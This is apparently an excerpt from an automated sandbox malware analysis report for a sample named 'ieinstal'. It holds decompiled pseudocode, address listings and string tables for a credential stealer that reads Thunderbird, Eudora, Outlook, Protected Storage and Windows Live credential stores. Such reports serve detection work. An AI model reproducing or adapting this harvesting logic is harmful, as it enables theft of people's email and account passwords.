                                                                                                                            0x00401f2e
                                                                                                                            0x00401f2f
                                                                                                                            0x00401f31
                                                                                                                            0x00401f31
                                                                                                                            0x00401f40
                                                                                                                            0x00401f4b
                                                                                                                            0x00401f50
                                                                                                                            0x00401f5a
                                                                                                                            0x00401f67
                                                                                                                            0x00401f6c
                                                                                                                            0x00401f71
                                                                                                                            0x00401f73
                                                                                                                            0x00401f73
                                                                                                                            0x00401f71
                                                                                                                            0x00401f75
                                                                                                                            0x00401f83
                                                                                                                            0x00401f88
                                                                                                                            0x00401f8d
                                                                                                                            0x0040217e
                                                                                                                            0x00402181
                                                                                                                            0x0040218a
                                                                                                                            0x004021aa
                                                                                                                            0x004021aa
                                                                                                                            0x004021aa
                                                                                                                            0x00402193
                                                                                                                            0x0040219a
                                                                                                                            0x004021a2
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x004021a4
                                                                                                                            0x00000000
                                                                                                                            0x00401f93
                                                                                                                            0x00401f98
                                                                                                                            0x00401f9e
                                                                                                                            0x00401fa8
                                                                                                                            0x00401fb8
                                                                                                                            0x00401fbb
                                                                                                                            0x00401fc0
                                                                                                                            0x00401fc5
                                                                                                                            0x00402175
                                                                                                                            0x00402178
                                                                                                                            0x00000000
                                                                                                                            0x00402178
                                                                                                                            0x00401fd0
                                                                                                                            0x00401fd7
                                                                                                                            0x00401fdf
                                                                                                                            0x00401fe0
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00401ff3
                                                                                                                            0x00401ffa
                                                                                                                            0x00402008
                                                                                                                            0x0040200f
                                                                                                                            0x0040201a
                                                                                                                            0x00402027
                                                                                                                            0x00402043
                                                                                                                            0x00402048
                                                                                                                            0x00402052
                                                                                                                            0x00402076
                                                                                                                            0x0040207d
                                                                                                                            0x0040208b
                                                                                                                            0x00402092
                                                                                                                            0x00402098
                                                                                                                            0x004020ab
                                                                                                                            0x004020af
                                                                                                                            0x004020b4
                                                                                                                            0x004020cd
                                                                                                                            0x004020b6
                                                                                                                            0x004020c4
                                                                                                                            0x004020ca
                                                                                                                            0x004020d9
                                                                                                                            0x004020ec
                                                                                                                            0x004020f4
                                                                                                                            0x00402111
                                                                                                                            0x004020f6
                                                                                                                            0x00402108
                                                                                                                            0x0040210e
                                                                                                                            0x00402127
                                                                                                                            0x0040213a
                                                                                                                            0x00000000
                                                                                                                            0x0040215e
                                                                                                                            0x0040216e
                                                                                                                            0x00000000
                                                                                                                            0x00402174
                                                                                                                            0x00402127
                                                                                                                            0x0040213c
                                                                                                                            0x0040213c
                                                                                                                            0x0040214c
                                                                                                                            0x00402151
                                                                                                                            0x00402154
                                                                                                                            0x00000000
                                                                                                                            0x0040215c

                                                                                                                            APIs
                                                                                                                            • memset.MSVCRT ref: 00401E82
                                                                                                                            • strlen.MSVCRT ref: 00401E9B
                                                                                                                            • strlen.MSVCRT ref: 00401EA9
                                                                                                                            • strlen.MSVCRT ref: 00401EEF
                                                                                                                            • strlen.MSVCRT ref: 00401EFD
                                                                                                                            • memset.MSVCRT ref: 00401FA8
                                                                                                                            • atoi.MSVCRT ref: 00401FD7
                                                                                                                            • memset.MSVCRT ref: 00401FFA
                                                                                                                            • sprintf.MSVCRT ref: 00402027
                                                                                                                              • Part of subcall function 00410493: RegCloseKey.ADVAPI32(000003FF,?,?,?,?,00000000,000003FF), ref: 004104CC
                                                                                                                            • memset.MSVCRT ref: 0040207D
                                                                                                                            • memset.MSVCRT ref: 00402092
                                                                                                                            • strlen.MSVCRT ref: 00402098
                                                                                                                            • strlen.MSVCRT ref: 004020A6
                                                                                                                            • strlen.MSVCRT ref: 004020D9
                                                                                                                            • strlen.MSVCRT ref: 004020E7
                                                                                                                            • memset.MSVCRT ref: 0040200F
                                                                                                                              • Part of subcall function 00406E81: _mbscpy.MSVCRT ref: 00406E89
                                                                                                                              • Part of subcall function 00406E81: _mbscat.MSVCRT ref: 00406E98
                                                                                                                            • _mbscpy.MSVCRT ref: 0040216E
                                                                                                                            • RegCloseKey.ADVAPI32(00000000), ref: 00402178
                                                                                                                            • ExpandEnvironmentStringsA.KERNEL32(%programfiles%\Mozilla Thunderbird,?,00000104), ref: 00402193
                                                                                                                              • Part of subcall function 00406D1F: GetFileAttributesA.KERNELBASE(?,00401EDD,?), ref: 00406D23
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001E.00000002.2469280981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_30_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: strlen$memset$Close_mbscpy$AttributesEnvironmentExpandFileStrings_mbscatatoisprintf
                                                                                                                            • String ID: %programfiles%\Mozilla Thunderbird$%s\Main$Install Directory$Mozilla\Profiles$Software\Classes\Software\Qualcomm\Eudora\CommandLine\current$Software\Mozilla\Mozilla Thunderbird$Software\Qualcomm\Eudora\CommandLine$Thunderbird\Profiles$current$nss3.dll$sqlite3.dll
                                                                                                                            • API String ID: 1846531875-4223776976
                                                                                                                            • Opcode ID: 6aa4cd9d89fa12e6f5449d6eef6c1575bbd370b4a07fc5a8c776129ac04f2371
                                                                                                                            • Instruction ID: f32954dd371ee46ce489a3e15048bba03ea5248cf67d2e34683548b394895fb7
                                                                                                                            • Opcode Fuzzy Hash: 6aa4cd9d89fa12e6f5449d6eef6c1575bbd370b4a07fc5a8c776129ac04f2371
                                                                                                                            • Instruction Fuzzy Hash: CA91D772804118AAEB21E7A1CC46FDF77BC9F54315F1400BBF608F2182EB789B858B59
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040CC66 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 169COMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            C-Code - Quality: 69%
                                                                                                                            			E0040CC66(void* __ecx, void* __eflags, struct HINSTANCE__* _a4, intOrPtr _a12) {
				char* _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _v304;
				signed int _v308;
				struct HWND__* _v312;
				intOrPtr _v608;
				struct HACCEL__* _v620;
				struct HWND__* _v644;
				intOrPtr _v656;
				char _v900;
				char _v904;
				char _v908;
				struct HWND__* _v932;
				struct tagMSG _v956;
				char _v980;
				char _v988;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t49;
				void* _t52;
				int _t56;
				int _t58;
				int _t70;
				void* _t75;
				int _t78;
				int _t80;
				intOrPtr _t81;
				int _t83;
				int _t88;
				int _t89;
				struct HWND__* _t103;
				intOrPtr* _t113;

				_t98 = __ecx;
				 *0x4509f4 = _a4; // executed
				_t49 = E00404A94(__ecx); // executed
				if(_t49 != 0) {
					E0041067E();
					_t52 = E004076B5( &_v980);
					_t103 = 0;
					_v956.time = 0x20;
					_v956.wParam.hwnd = 0;
					_v956.pt.hwnd = 0;
					_v956.lParam = 0;
					_v932 = 0;
					E0040C9F7(_t52,  &_v900); // executed
					_v8 =  &_v980;
					E00407A4B(__eflags,  &_v980, _a12);
					_t56 = E00407BBF(_v16, "/savelangfile");
					__eflags = _t56;
					if(_t56 < 0) {
						E00409465(); // executed
						_t58 = E00407BBF(_v8, "/deleteregkey");
						__eflags = _t58;
						if(_t58 < 0) {
							 *0x450f70 = 0x11223344; // executed
							EnumResourceTypesA( *0x4509f4, E00410663, 0); // executed
							__eflags =  *0x450f70 - 0x52859c3b;
							if( *0x450f70 == 0x52859c3b) {
								__eflags =  *((intOrPtr*)(_v12 + 0x30)) - 1;
								if(__eflags <= 0) {
									L13:
									 *0x44545c(_t103);
									E0040C946(_t98,  &_v908);
									__eflags = _v608 - 3;
									if(_v608 != 3) {
										_push(5);
									} else {
										_push(3);
									}
									ShowWindow(_v644, ??);
									UpdateWindow(_v644);
									_v620 = LoadAcceleratorsA( *0x4509f4, 0x67);
									E0040BFB1( &_v908);
									_t70 = GetMessageA( &(_v956.pt), _t103, _t103, _t103);
									__eflags = _t70;
									if(_t70 == 0) {
										L24:
										 *0x445464();
										goto L25;
									} else {
										_t113 =  *0x445220;
										do {
											_t78 =  *0x4452c8(_v644, _v620,  &(_v956.pt));
											__eflags = _t78;
											if(_t78 != 0) {
												goto L23;
											}
											_t81 =  *0x451164;
											__eflags = _t81 - _t103;
											if(_t81 == _t103) {
												L21:
												_t83 =  *_t113(_v656,  &(_v956.wParam));
												__eflags = _t83;
												if(_t83 == 0) {
													TranslateMessage( &_v956);
													DispatchMessageA( &_v956);
												}
												goto L23;
											}
											_t88 =  *_t113(_t81,  &(_v956.wParam));
											__eflags = _t88;
											if(_t88 != 0) {
												goto L23;
											}
											goto L21;
											L23:
											_t80 = GetMessageA( &(_v956.wParam), _t103, _t103, _t103);
											__eflags = _t80;
										} while (_t80 != 0);
										goto L24;
									}
								}
								_t89 = E0040CB90( &_v904, __eflags);
								__eflags = _t89;
								if(_t89 == 0) {
									_t103 = 0;
									__eflags = 0;
									goto L13;
								}
								_v904 = 0x446764;
								0x44408c(_v28);
								__eflags = _v304;
								if(_v304 != 0) {
									DeleteObject(_v304);
									_v308 = _v308 & 0x00000000;
								}
								goto L27;
							}
							MessageBoxA(0, "Failed to load the executable file !", "Error", 0x30);
							goto L25;
						}
						RegDeleteKeyA(0x80000001, 0x44551f);
						goto L25;
					} else {
						 *0x451354 = 0x450980;
						E00409596();
						L25:
						_v908 = 0x446764;
						0x44408c(_v32);
						__eflags = _v308 - _t103;
						if(_v308 != _t103) {
							DeleteObject(_v308);
							_v312 = _t103;
						}
						L27:
						_v908 = 0x44553c;
						E004076D7( &_v988);
						E004045BD( &_v956);
						E004076D7( &_v988);
						_t75 = 0;
						__eflags = 0;
						goto L28;
					}
				} else {
					_t75 = _t49 + 1;
					L28:
					return _t75;
				}
			}







































                                                                                                                            0x0040cc66
                                                                                                                            0x0040cc78
                                                                                                                            0x0040cc7d
                                                                                                                            0x0040cc84
                                                                                                                            0x0040cc8c
                                                                                                                            0x0040cc95
                                                                                                                            0x0040cc9a
                                                                                                                            0x0040cca0
                                                                                                                            0x0040cca8
                                                                                                                            0x0040ccac
                                                                                                                            0x0040ccb0
                                                                                                                            0x0040ccb4
                                                                                                                            0x0040ccb8
                                                                                                                            0x0040ccc5
                                                                                                                            0x0040cccc
                                                                                                                            0x0040ccdd
                                                                                                                            0x0040cce2
                                                                                                                            0x0040cce4
                                                                                                                            0x0040ccfa
                                                                                                                            0x0040cd0b
                                                                                                                            0x0040cd10
                                                                                                                            0x0040cd12
                                                                                                                            0x0040cd35
                                                                                                                            0x0040cd3f
                                                                                                                            0x0040cd45
                                                                                                                            0x0040cd4f
                                                                                                                            0x0040cd70
                                                                                                                            0x0040cd74
                                                                                                                            0x0040cdc2
                                                                                                                            0x0040cdc3
                                                                                                                            0x0040cdce
                                                                                                                            0x0040cdd3
                                                                                                                            0x0040cddb
                                                                                                                            0x0040cde1
                                                                                                                            0x0040cddd
                                                                                                                            0x0040cddd
                                                                                                                            0x0040cddd
                                                                                                                            0x0040cdea
                                                                                                                            0x0040cdf7
                                                                                                                            0x0040ce0b
                                                                                                                            0x0040ce16
                                                                                                                            0x0040ce29
                                                                                                                            0x0040ce2b
                                                                                                                            0x0040ce2d
                                                                                                                            0x0040ce9d
                                                                                                                            0x0040ce9d
                                                                                                                            0x00000000
                                                                                                                            0x0040ce2f
                                                                                                                            0x0040ce2f
                                                                                                                            0x0040ce35
                                                                                                                            0x0040ce48
                                                                                                                            0x0040ce4e
                                                                                                                            0x0040ce50
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0040ce52
                                                                                                                            0x0040ce57
                                                                                                                            0x0040ce59
                                                                                                                            0x0040ce67
                                                                                                                            0x0040ce73
                                                                                                                            0x0040ce75
                                                                                                                            0x0040ce77
                                                                                                                            0x0040ce7e
                                                                                                                            0x0040ce89
                                                                                                                            0x0040ce89
                                                                                                                            0x00000000
                                                                                                                            0x0040ce77
                                                                                                                            0x0040ce61
                                                                                                                            0x0040ce63
                                                                                                                            0x0040ce65
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0040ce8f
                                                                                                                            0x0040ce97
                                                                                                                            0x0040ce99
                                                                                                                            0x0040ce99
                                                                                                                            0x00000000
                                                                                                                            0x0040ce35
                                                                                                                            0x0040ce2d
                                                                                                                            0x0040cd7a
                                                                                                                            0x0040cd7f
                                                                                                                            0x0040cd81
                                                                                                                            0x0040cdc0
                                                                                                                            0x0040cdc0
                                                                                                                            0x00000000
                                                                                                                            0x0040cdc0
                                                                                                                            0x0040cd8a
                                                                                                                            0x0040cd92
                                                                                                                            0x0040cd97
                                                                                                                            0x0040cda0
                                                                                                                            0x0040cdad
                                                                                                                            0x0040cdb3
                                                                                                                            0x0040cdb3
                                                                                                                            0x00000000
                                                                                                                            0x0040cda0
                                                                                                                            0x0040cd5e
                                                                                                                            0x00000000
                                                                                                                            0x0040cd5e
                                                                                                                            0x0040cd1e
                                                                                                                            0x00000000
                                                                                                                            0x0040cce6
                                                                                                                            0x0040cce6
                                                                                                                            0x0040ccf0
                                                                                                                            0x0040cea3
                                                                                                                            0x0040ceaa
                                                                                                                            0x0040ceb2
                                                                                                                            0x0040ceb7
                                                                                                                            0x0040cebf
                                                                                                                            0x0040cec8
                                                                                                                            0x0040cece
                                                                                                                            0x0040cece
                                                                                                                            0x0040ced5
                                                                                                                            0x0040ced9
                                                                                                                            0x0040cee1
                                                                                                                            0x0040ceea
                                                                                                                            0x0040cef3
                                                                                                                            0x0040cef8
                                                                                                                            0x0040cef8
                                                                                                                            0x00000000
                                                                                                                            0x0040cef8
                                                                                                                            0x0040cc86
                                                                                                                            0x0040cc86
                                                                                                                            0x0040cefa
                                                                                                                            0x0040cf00
                                                                                                                            0x0040cf00

                                                                                                                            APIs
                                                                                                                              • Part of subcall function 00404A94: LoadLibraryA.KERNEL32(comctl32.dll), ref: 00404AB3
                                                                                                                              • Part of subcall function 00404A94: GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 00404AC5
                                                                                                                              • Part of subcall function 00404A94: FreeLibrary.KERNEL32(00000000), ref: 00404AD9
                                                                                                                              • Part of subcall function 00404A94: MessageBoxA.USER32(00000001,Error: Cannot load the common control classes.,Error,00000030), ref: 00404B04
                                                                                                                            • ??3@YAXPAX@Z.MSVCRT ref: 0040CEB2
                                                                                                                            • DeleteObject.GDI32(?), ref: 0040CEC8
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001E.00000002.2469280981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_30_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Library$??3@AddressDeleteFreeLoadMessageObjectProc
                                                                                                                            • String ID: $/deleteregkey$/savelangfile$Error$Failed to load the executable file !
                                                                                                                            • API String ID: 745651260-375988210
                                                                                                                            • Opcode ID: 3ead8dc900f3123aa2ba669505af08cf64fa6c44fe5d0b8ef6125ed5f56e8d9c
                                                                                                                            • Instruction ID: 177dcc30e6d6fe1e6f6b961e060c6fa8e32a60297cdf5fc43279ddd28c1616a1
                                                                                                                            • Opcode Fuzzy Hash: 3ead8dc900f3123aa2ba669505af08cf64fa6c44fe5d0b8ef6125ed5f56e8d9c
                                                                                                                            • Instruction Fuzzy Hash: 3661A075408341DBDB20AFA1DC88A9FB7F8BF85305F00093FF545A21A2DB789904CB5A
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00403C03 Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 184libraryloaderCOMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            C-Code - Quality: 61%
                                                                                                                            			E00403C03(signed int __ecx, void* __eflags, void* __fp0) {
				char _v8;
				void* __edi;
				void* __esi;
				struct HINSTANCE__* _t42;
				void* _t56;
				void* _t58;
				void* _t60;
				void* _t62;
				void* _t64;
				void* _t66;
				char* _t79;
				void* _t81;
				_Unknown_base(*)()* _t91;
				void* _t92;
				void* _t94;
				void* _t102;
				signed int _t104;
				char* _t112;
				_Unknown_base(*)()* _t128;
				void* _t140;

				_t140 = __fp0;
				_t96 = __ecx;
				_push(__ecx);
				_t104 = __ecx;
				_t94 = __ecx + 0xc30;
				 *(_t94 + 0xc) =  *(_t94 + 0xc) & 0x00000000;
				E00410166(_t94);
				_t42 = LoadLibraryA("pstorec.dll"); // executed
				 *(_t94 + 8) = _t42;
				if(_t42 == 0) {
					L4:
					E00410166(_t94);
				} else {
					_t91 = GetProcAddress(_t42, "PStoreCreateInstance");
					_t128 = _t91;
					_t96 = 0 | _t128 != 0x00000000;
					 *(_t94 + 0x10) = _t91;
					if(_t128 != 0) {
						goto L4;
					} else {
						_t96 = _t94 + 4;
						_t92 =  *_t91(_t94 + 4, 0, 0, 0);
						_t130 = _t92;
						if(_t92 != 0) {
							goto L4;
						} else {
							 *(_t94 + 0xc) = 1;
						}
					}
				}
				E0040472F(_t104 + 0xc44, _t130);
				E004036D7(_t96, _t104, _t104 + 0xc44, _t140, "www.google.com/Please log in to your Gmail account");
				E004036D7(_t96, _t104, _t104 + 0xc44, _t140, "www.google.com:443/Please log in to your Gmail account");
				E004036D7(_t96, _t104, _t104 + 0xc44, _t140, "www.google.com/Please log in to your Google Account");
				E004036D7(_t96, _t104, _t104 + 0xc44, _t140, "www.google.com:443/Please log in to your Google Account");
				_push(_t104 + 0xc0c); // executed
				E00408344(_t96); // executed
				E00407F93(_t96, _t104 + 0xc20); // executed
				E00408458(_t130, _t104 + 0xc2c); // executed
				_t56 = E00410411(0x80000001, "Software\Microsoft\Internet Account Manager\Accounts",  &_v8);
				_t131 = _t56;
				if(_t56 == 0) {
					E00402BC3(_t96,  &_v8, _t131, _t140, _t104, 1);
				}
				_t58 = E00410411(0x80000001, "Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts",  &_v8);
				_t132 = _t58;
				if(_t58 == 0) {
					E00402BC3(_t96,  &_v8, _t132, _t140, _t104, 5);
				}
				E00402C4F(_t96, _t140, _t104); // executed
				 *((intOrPtr*)(_t104 + 0xed0)) = 6;
				_t60 = E00406E4C();
				_push( &_v8);
				if( *((intOrPtr*)(_t60 + 0x10)) != 1) {
					_push("Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles");
				} else {
					_push("Software\Microsoft\Windows Messaging Subsystem\Profiles");
				}
				_push(0x80000001);
				_t62 = E00410411();
				_t134 = _t62;
				if(_t62 != 0) {
					 *((char*)(_t104 + 0xe50)) = 0;
				} else {
					E00402B14( &_v8, _t134, _t140, _t104);
				}
				 *((intOrPtr*)(_t104 + 0xed0)) = 0xf;
				_t64 = E00410411(0x80000001, "Software\Microsoft\Office\15.0\Outlook\Profiles",  &_v8);
				_t135 = _t64;
				if(_t64 != 0) {
					 *((char*)(_t104 + 0xe50)) = 0;
				} else {
					E00402B14( &_v8, _t135, _t140, _t104);
				}
				 *((intOrPtr*)(_t104 + 0xed0)) = 0x10;
				_t66 = E00410411(0x80000001, "Software\Microsoft\Office\16.0\Outlook\Profiles",  &_v8);
				_t136 = _t66;
				if(_t66 != 0) {
					 *((char*)(_t104 + 0xe50)) = 0;
				} else {
					E00402B14( &_v8, _t136, _t140, _t104);
				}
				E0041017D(_t94);
				E00404780(_t104 + 0xc44);
				E00402FCD(_t104, _t96, _t140, 0x80000001); // executed
				E00402FCD(_t104, _t96, _t140, 0x80000002); // executed
				E004032A9(_t140, _t104);
				E004034D6(_t96, _t136, _t140, _t104); // executed
				E00403977(_t96, _t136, _t140, _t104); // executed
				E004037BC(_t104, _t140, _t104); // executed
				_t79 = _t104 + 0xed4;
				_t137 =  *_t79;
				if( *_t79 != 0) {
					 *((intOrPtr*)(_t104 + 0x12e8)) = 0xa;
					E0040ECA9(_t104 + 0x1c8, _t102, _t137, _t79, 0);
				}
				_t112 = _t104 + 0xfd9;
				_t138 =  *_t112;
				if( *_t112 != 0) {
					0x444032(_t104 + 0x8de, _t104 + 0x11e3);
					 *((intOrPtr*)(_t104 + 0x12e8)) = 0xb;
					E0040ECA9(_t104 + 0x1c8, _t102, _t138, _t112, 0);
				}
				E0040F478(); // executed
				_t81 = E0040F2E4(_t104 + 0x9f4);
				0x4437d7(_t104 + 0xc24, _t104 + 0x9f4); // executed
				return _t81;
			}























                                                                                                                            0x00403c03
                                                                                                                            0x00403c03
                                                                                                                            0x00403c06
                                                                                                                            0x00403c0a
                                                                                                                            0x00403c0c
                                                                                                                            0x00403c12
                                                                                                                            0x00403c18
                                                                                                                            0x00403c22
                                                                                                                            0x00403c2c
                                                                                                                            0x00403c2f
                                                                                                                            0x00403c61
                                                                                                                            0x00403c63
                                                                                                                            0x00403c31
                                                                                                                            0x00403c37
                                                                                                                            0x00403c3f
                                                                                                                            0x00403c41
                                                                                                                            0x00403c44
                                                                                                                            0x00403c49
                                                                                                                            0x00000000
                                                                                                                            0x00403c4b
                                                                                                                            0x00403c4e
                                                                                                                            0x00403c52
                                                                                                                            0x00403c54
                                                                                                                            0x00403c56
                                                                                                                            0x00000000
                                                                                                                            0x00403c58
                                                                                                                            0x00403c58
                                                                                                                            0x00403c58
                                                                                                                            0x00403c56
                                                                                                                            0x00403c49
                                                                                                                            0x00403c6e
                                                                                                                            0x00403c78
                                                                                                                            0x00403c82
                                                                                                                            0x00403c8c
                                                                                                                            0x00403c96
                                                                                                                            0x00403ca1
                                                                                                                            0x00403ca2
                                                                                                                            0x00403cae
                                                                                                                            0x00403cba
                                                                                                                            0x00403ccd
                                                                                                                            0x00403cd5
                                                                                                                            0x00403cd7
                                                                                                                            0x00403cdf
                                                                                                                            0x00403cdf
                                                                                                                            0x00403cf2
                                                                                                                            0x00403cfa
                                                                                                                            0x00403cfc
                                                                                                                            0x00403d04
                                                                                                                            0x00403d04
                                                                                                                            0x00403d0a
                                                                                                                            0x00403d0f
                                                                                                                            0x00403d19
                                                                                                                            0x00403d25
                                                                                                                            0x00403d26
                                                                                                                            0x00403d2f
                                                                                                                            0x00403d28
                                                                                                                            0x00403d28
                                                                                                                            0x00403d28
                                                                                                                            0x00403d34
                                                                                                                            0x00403d39
                                                                                                                            0x00403d41
                                                                                                                            0x00403d43
                                                                                                                            0x00403d50
                                                                                                                            0x00403d45
                                                                                                                            0x00403d49
                                                                                                                            0x00403d49
                                                                                                                            0x00403d65
                                                                                                                            0x00403d6f
                                                                                                                            0x00403d77
                                                                                                                            0x00403d79
                                                                                                                            0x00403d86
                                                                                                                            0x00403d7b
                                                                                                                            0x00403d7f
                                                                                                                            0x00403d7f
                                                                                                                            0x00403d9b
                                                                                                                            0x00403da5
                                                                                                                            0x00403dad
                                                                                                                            0x00403daf
                                                                                                                            0x00403dbc
                                                                                                                            0x00403db1
                                                                                                                            0x00403db5
                                                                                                                            0x00403db5
                                                                                                                            0x00403dc5
                                                                                                                            0x00403dd0
                                                                                                                            0x00403ddc
                                                                                                                            0x00403de8
                                                                                                                            0x00403dee
                                                                                                                            0x00403df4
                                                                                                                            0x00403dfa
                                                                                                                            0x00403e00
                                                                                                                            0x00403e05
                                                                                                                            0x00403e0b
                                                                                                                            0x00403e0e
                                                                                                                            0x00403e19
                                                                                                                            0x00403e23
                                                                                                                            0x00403e23
                                                                                                                            0x00403e28
                                                                                                                            0x00403e2e
                                                                                                                            0x00403e31
                                                                                                                            0x00403e41
                                                                                                                            0x00403e51
                                                                                                                            0x00403e5b
                                                                                                                            0x00403e5b
                                                                                                                            0x00403e67
                                                                                                                            0x00403e6d
                                                                                                                            0x00403e79
                                                                                                                            0x00403e82

                                                                                                                            APIs
                                                                                                                              • Part of subcall function 00410166: FreeLibrary.KERNELBASE(?,00403C1D), ref: 00410172
                                                                                                                            • LoadLibraryA.KERNELBASE(pstorec.dll), ref: 00403C22
                                                                                                                            • GetProcAddress.KERNEL32(00000000,PStoreCreateInstance), ref: 00403C37
                                                                                                                            • _mbscpy.MSVCRT ref: 00403E41
                                                                                                                            Strings
                                                                                                                            • Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles, xrefs: 00403D2F
                                                                                                                            • Software\Microsoft\Internet Account Manager\Accounts, xrefs: 00403CC3
                                                                                                                            • www.google.com/Please log in to your Gmail account, xrefs: 00403C73
                                                                                                                            • www.google.com/Please log in to your Google Account, xrefs: 00403C87
                                                                                                                            • pstorec.dll, xrefs: 00403C1D
                                                                                                                            • Software\Microsoft\Office\16.0\Outlook\Profiles, xrefs: 00403D91
                                                                                                                            • www.google.com:443/Please log in to your Google Account, xrefs: 00403C91
                                                                                                                            • www.google.com:443/Please log in to your Gmail account, xrefs: 00403C7D
                                                                                                                            • Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts, xrefs: 00403CE8
                                                                                                                            • Software\Microsoft\Office\15.0\Outlook\Profiles, xrefs: 00403D5B
                                                                                                                            • PStoreCreateInstance, xrefs: 00403C31
                                                                                                                            • Software\Microsoft\Windows Messaging Subsystem\Profiles, xrefs: 00403D28
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001E.00000002.2469280981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_30_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Library$AddressFreeLoadProc_mbscpy
                                                                                                                            • String ID: PStoreCreateInstance$Software\Microsoft\Internet Account Manager\Accounts$Software\Microsoft\Office\15.0\Outlook\Profiles$Software\Microsoft\Office\16.0\Outlook\Profiles$Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts$Software\Microsoft\Windows Messaging Subsystem\Profiles$Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles$pstorec.dll$www.google.com/Please log in to your Gmail account$www.google.com/Please log in to your Google Account$www.google.com:443/Please log in to your Gmail account$www.google.com:443/Please log in to your Google Account
                                                                                                                            • API String ID: 1197458902-317895162
                                                                                                                            • Opcode ID: f6bc8121a93fa9ff4bc87b9f29a8f644e5a8c2d28e7501eaeea369390cda5a4c
                                                                                                                            • Instruction ID: 8c3092e028ed30b7bcb0bf0438431f6e947b4810b401e401bf51def59c6c6aaf
                                                                                                                            • Opcode Fuzzy Hash: f6bc8121a93fa9ff4bc87b9f29a8f644e5a8c2d28e7501eaeea369390cda5a4c
                                                                                                                            • Instruction Fuzzy Hash: 5C51A571600615B6E714AF71CD86FEAB76CAF00709F20053FF904B61C2DBBDBA5486A9
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040F478 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 101registryCOMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            • Executed
                                                                                                                            • Not Executed
                                                                                                                            control_flow_graph 231 40f478-40f4ad call 4446d0 RegOpenKeyExA 234 40f4b3-40f4c7 RegOpenKeyExA 231->234 235 40f5af-40f5b5 231->235 236 40f5a5-40f5a9 RegCloseKey 234->236 237 40f4cd-40f4f6 RegQueryValueExA 234->237 236->235 238 40f59b-40f59f RegCloseKey 237->238 239 40f4fc-40f50b call 40472f 237->239 238->236 239->238 242 40f511-40f549 call 4047a0 239->242 242->238 245 40f54b-40f553 242->245 246 40f591-40f595 LocalFree 245->246 247 40f555-40f58c memcpy * 2 call 40f177 245->247 246->238 247->246
                                                                                                                            C-Code - Quality: 89%
                                                                                                                            			E0040F478(void* _a4, int _a8, int _a12, void* _a16, char _a20, void* _a24, int _a28, void* _a32, int _a36, void _a40, void _a104) {
				void* _v0;
				void* __esi;
				long _t33;
				long _t35;
				long _t39;
				int _t71;

				0x4446d0();
				_t33 = RegOpenKeyExA(0x80000001, "Software\Microsoft\IdentityCRL", 0, 0x20019,  &_v0); // executed
				if(_t33 != 0) {
					L10:
					return _t33;
				}
				_t35 = RegOpenKeyExA(_v0, "Dynamic Salt", 0, 0x20019,  &_a4); // executed
				if(_t35 != 0) {
					L9:
					_t33 = RegCloseKey(_v0); // executed
					goto L10;
				}
				_a8 = 0x1000;
				_t39 = RegQueryValueExA(_a4, "Value", 0,  &_a36,  &_a40,  &_a8);
				_t78 = _t39;
				if(_t39 == 0) {
					_t62 = _a4 + 0xc;
					if(E0040472F(_a4 + 0xc, _t78) != 0) {
						_a20 = _a8;
						_a24 =  &_a40;
						_t71 = 0x40;
						_a28 = _t71;
						_a32 = 0x44fe50;
						if(E004047A0(_t62,  &_a20,  &_a28,  &_a12) != 0) {
							if(_a12 < 0x400) {
								memcpy( &_a40, 0x44fe50, _t71);
								memcpy( &_a104, _a16, _a12);
								E0040F177(_a4,  &_a40, _a12 + _t71, _v0);
							}
							LocalFree(_a16);
						}
					}
				}
				RegCloseKey(_a4);
				goto L9;
			}









                                                                                                                            0x0040f483
                                                                                                                            0x0040f4a9
                                                                                                                            0x0040f4ad
                                                                                                                            0x0040f5af
                                                                                                                            0x0040f5b5
                                                                                                                            0x0040f5b5
                                                                                                                            0x0040f4c3
                                                                                                                            0x0040f4c7
                                                                                                                            0x0040f5a5
                                                                                                                            0x0040f5a9
                                                                                                                            0x00000000
                                                                                                                            0x0040f5a9
                                                                                                                            0x0040f4e6
                                                                                                                            0x0040f4ee
                                                                                                                            0x0040f4f4
                                                                                                                            0x0040f4f6
                                                                                                                            0x0040f4ff
